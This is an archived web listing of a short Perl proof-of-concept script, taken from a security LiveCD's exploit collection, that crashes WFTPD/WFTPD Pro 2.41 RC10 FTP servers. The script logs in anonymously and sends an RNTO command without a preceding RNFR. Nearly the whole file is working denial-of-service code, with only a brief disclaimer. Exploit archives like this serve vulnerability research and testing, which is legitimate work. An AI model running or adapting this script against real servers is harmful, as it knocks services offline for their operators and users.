home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wftpd / wftpd.pl < prev    next >
Encoding:
Perl Script  |  2005-02-12  |  1.1 KB  |  47 lines
  1.  
  2. #!/usr/bin/perl
  3. #
  4. # WFTPD/WFTPD Pro 2.41 RC10 denial-of-service
  5. # Blue Panda - bluepanda@dwarf.box.sk
  6. # http://bluepanda.box.sk/
  7. #
  8. # ----------------------------------------------------------
  9. # Disclaimer: this file is intended as proof of concept, and
  10. # is not intended to be used for illegal purposes. I accept
  11. # no responsibility for damage incurred by the use of it.
  12. # ----------------------------------------------------------
  13. #
  14. # Issues an RNTO command without first using RNFR, causing WFTPD to crash.
  15. #
  16.  
  17. use IO::Socket;
  18.  
  19. $host = "ftp.host.com" ;
  20. $port = "21";
  21. $user = "anonymous";
  22. $pass = "p\@nda";
  23. $wait = 10;
  24.  
  25. # Connect to server.
  26. print "Connecting to $host:$port...";
  27. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
  28. PeerPort=>$port) || die "failed.\n";
  29. print "done.\n";
  30.  
  31. # Login and issue premature RNTO command.
  32. print $socket "USER $user\nPASS $pass\nRNTO x\n";
  33.  
  34. # Wait a while, just to make sure the commands have arrived.
  35. print "Waiting...";
  36. $time = 0;
  37. while ($time < $wait) {
  38.         sleep(1);
  39.         print ".";
  40.         $time += 1;
  41. }
  42.  
  43. # Finished.
  44. close($socket);
  45. print "\nConnection closed. Finished.\n"
  46.  
  47.